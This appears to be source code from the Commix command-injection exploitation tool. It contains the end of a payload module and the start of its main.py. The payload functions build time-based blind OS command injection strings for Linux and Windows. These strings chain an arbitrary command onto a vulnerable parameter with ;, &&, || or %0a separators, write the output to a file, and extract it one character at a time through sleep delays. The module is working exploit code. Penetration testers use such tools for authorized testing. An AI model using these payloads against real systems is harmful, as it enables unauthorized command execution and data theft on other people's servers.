separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE +
# Find the length of the output, using readline().
"[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe +
"for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %y==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" +
# Transform to ASCII
pipe +
"for /f \"tokens=*\" %x in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE +
"do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'"
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand +
"for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %y==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" +
# Transform to ASCII
ampersand +
"for /f \"tokens=*\" %x in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE +
"do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'"
)
else:
settings.USER_SUPPLIED_CMD = cmd
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
"echo $str > " + OUTPUT_TEXTFILE + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
"then sleep 0 " + separator +
"else sleep " + str(timesec) + separator +
# Transform to ASCII
"str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator +
"echo $str1 > " + OUTPUT_TEXTFILE + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
"str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator +
"echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
"[ " + str(j) + " -eq ${str1} ]" + separator +
"sleep " + str(timesec) + separator +
# Transform to ASCII
"str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator +
"echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
cmd = cmd.rstrip()
cmd = checks.add_command_substitution(cmd)
payload = (pipe +
cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe +
"[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe +
"tr -d '\\n'" + pipe + "wc -c) ]" + separator +
"sleep " + str(timesec)
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
"if [ " + str(j) + " -ne ${str1} ] " + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE +
"[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
"""
def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
# Use space as delimiter
"str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
# Use space as delimiter
"str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE +
pipe + "tr -d '\\n'" +
pipe + "cut -c " + str(num_of_chars) +
pipe + "od -N 1 -i" +
pipe + "head -1" +
pipe + "awk '{print$2}') ] " + separator +
"sleep " + str(timesec)
)
else:
pass
#
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
"""
def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
"if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
"[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator +
"sleep " + str(timesec)
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
# eof commix-3.8/src/core/main.py 0000664 0000000 0000000 00000115760 14466364451 0015724 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import random
from src.thirdparty.six.moves import http_client as _http_client
# accept overly long result lines
_http_client._MAXLINE = 1 * 1024 * 1024
from socket import error as SocketError
from os.path import splitext
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import menu
from src.utils import logs
from src.utils import purge
from src.utils import update
from src.utils import common
from src.utils import version
from src.utils import install
from src.utils import crawler
from src.utils import settings
from src.core.requests import parameters
from src.utils import session_handler
from src.utils import simple_http_server
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.testing import smoke_test
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import redirection
from src.core.requests import authentication
from src.core.injections.controller import checks
from src.core.injections.controller import parser
from src.core.injections.controller import controller
from src.thirdparty.six.moves import reload_module as _reload_module
# Set default encoding
_reload_module(sys)
#sys.setdefaultencoding(settings.DEFAULT_CODEC)
if settings.IS_WINDOWS:
import codecs
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
# Use Colorama to make Termcolor work on Windows too :)
init()
"""
Define HTTP User-Agent header.
"""
def user_agent_header():
# Check if defined "--mobile" option.
if menu.options.mobile:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent:
if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
menu.options.agent = checks.mobile_user_agents()
# Check if defined "--random-agent" option.
if menu.options.random_agent:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile:
if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Fetching random HTTP User-Agent header. "
print(settings.print_debug_msg(debug_msg))
else:
pass
try:
menu.options.agent = random.choice(settings.USER_AGENT_LIST)
info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'."
print(settings.print_info_msg(info_msg))
except:
print(settings.SINGLE_WHITESPACE)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP User-Agent header."
print(settings.print_debug_msg(debug_msg))
"""
Examine the request
"""
def examine_request(request, url):
# Retries when the connection timeouts.
if menu.options.retries:
settings.MAX_RETRIES = menu.options.retries
else:
if settings.MULTI_TARGETS:
settings.MAX_RETRIES = 1
try:
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
return proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
return tor.use_tor(request)
else:
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except ValueError:
# Invalid format for the '--header' option.
if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
err_msg += "to provide an extra HTTP header or"
err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' "
err_msg += "if you want to try to exploit the provided HTTP header."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except Exception as err_msg:
requests.request_failed(err_msg)
"""
Check internet connection before assessing the target.
"""
def check_internet(url):
settings.CHECK_INTERNET = True
settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url)
info_msg = "Checking for internet connection. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
try:
request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS)
headers.do_check(request)
examine_request(request, url)
except:
print(settings.SINGLE_WHITESPACE)
error_msg = "No internet connection detected."
print(settings.print_critical_msg(error_msg))
"""
The init (URL) request.
"""
def init_request(url):
# Check connection(s)
checks.check_connection(url)
# Number of seconds to wait before timeout connection
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP timeout."
print(settings.print_debug_msg(debug_msg))
if menu.options.timeout:
settings.TIMEOUT = menu.options.timeout
# Define HTTP User-Agent header
user_agent_header()
# Check the internet connection (--check-internet switch).
if menu.options.check_internet:
check_internet(url)
# Check if defined POST data
if menu.options.data:
settings.USER_DEFINED_POST_DATA = menu.options.data
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA:
settings.PARAMETER_DELIMITER = menu.options.pdel
request = _urllib.request.Request(url, menu.options.data.encode())
else:
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in url:
settings.PARAMETER_DELIMITER = menu.options.pdel
request = _urllib.request.Request(url)
# Check if defined any HTTP Proxy (--proxy option).
headers.do_check(request)
# Used a valid pair of valid credentials
if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 :
debug_msg = "Setting the HTTP authentication type and credentials."
print(settings.print_debug_msg(debug_msg))
if menu.options.proxy:
proxy.do_check()
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object."
print(settings.print_debug_msg(debug_msg))
return request
"""
Get the URL response.
"""
def url_response(url):
if settings.INIT_TEST == True:
info_msg = "Testing connection to the target URL. "
print(settings.print_info_msg(info_msg))
# Check if http / https
url = checks.check_http_s(url)
# Check if defined Tor (--tor option).
if menu.options.tor and settings.TOR_CHECK_AGAIN:
tor.do_check()
if settings.MULTI_TARGETS or settings.CRAWLING:
settings.TOR_CHECK_AGAIN = False
# initiate total of requests
settings.TOTAL_OF_REQUESTS = 0
request = init_request(url)
if settings.CHECK_INTERNET:
settings.CHECK_INTERNET = False
response = examine_request(request, url)
# Check for URL redirection
if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None:
if response.geturl() != url:
redirect_url = redirection.do_check(request, url, response.geturl())
if redirect_url is not None:
url = redirect_url
return response, url
"""
Injection states initiation.
"""
def init_injection(url):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Initializing the knowledge base."
print(settings.print_debug_msg(debug_msg))
# Initiate heuristic checks.
if not settings.FOLLOW_REDIRECT:
settings.FOLLOW_REDIRECT = True
if settings.SKIP_CODE_INJECTIONS:
settings.SKIP_CODE_INJECTIONS = False
if settings.SKIP_COMMAND_INJECTIONS:
settings.SKIP_COMMAND_INJECTIONS = False
# Initiate injection checker.
if settings.INJECTION_CHECKER:
settings.INJECTION_CHECKER = False
# Initiate exploitation techniques states.
if settings.INJECTION_CHECKER:
settings.CLASSIC_STATE = False
if settings.EVAL_BASED_STATE:
settings.EVAL_BASED_STATE = False
if settings.TIME_BASED_STATE:
settings.TIME_BASED_STATE = False
if settings.FILE_BASED_STATE:
settings.FILE_BASED_STATE = False
if settings.TEMPFILE_BASED_STATE:
settings.TEMPFILE_BASED_STATE = False
if settings.TIME_RELATIVE_ATTACK:
settings.TIME_RELATIVE_ATTACK = False
"""
Using 'stdin' for parsing targets.
"""
def stdin_parsing_target(os_checks_num):
_ = []
if os_checks_num == 0:
info_msg = "Using 'stdin' for parsing targets list."
print(settings.print_info_msg(info_msg))
menu.options.batch = True
settings.MULTI_TARGETS = True
for url in sys.stdin:
if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I):
url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip()
_.append(url.rstrip())
return _
"""
Check if an injection point has already been detected against target.
"""
def check_for_injected_url(url):
_ = True
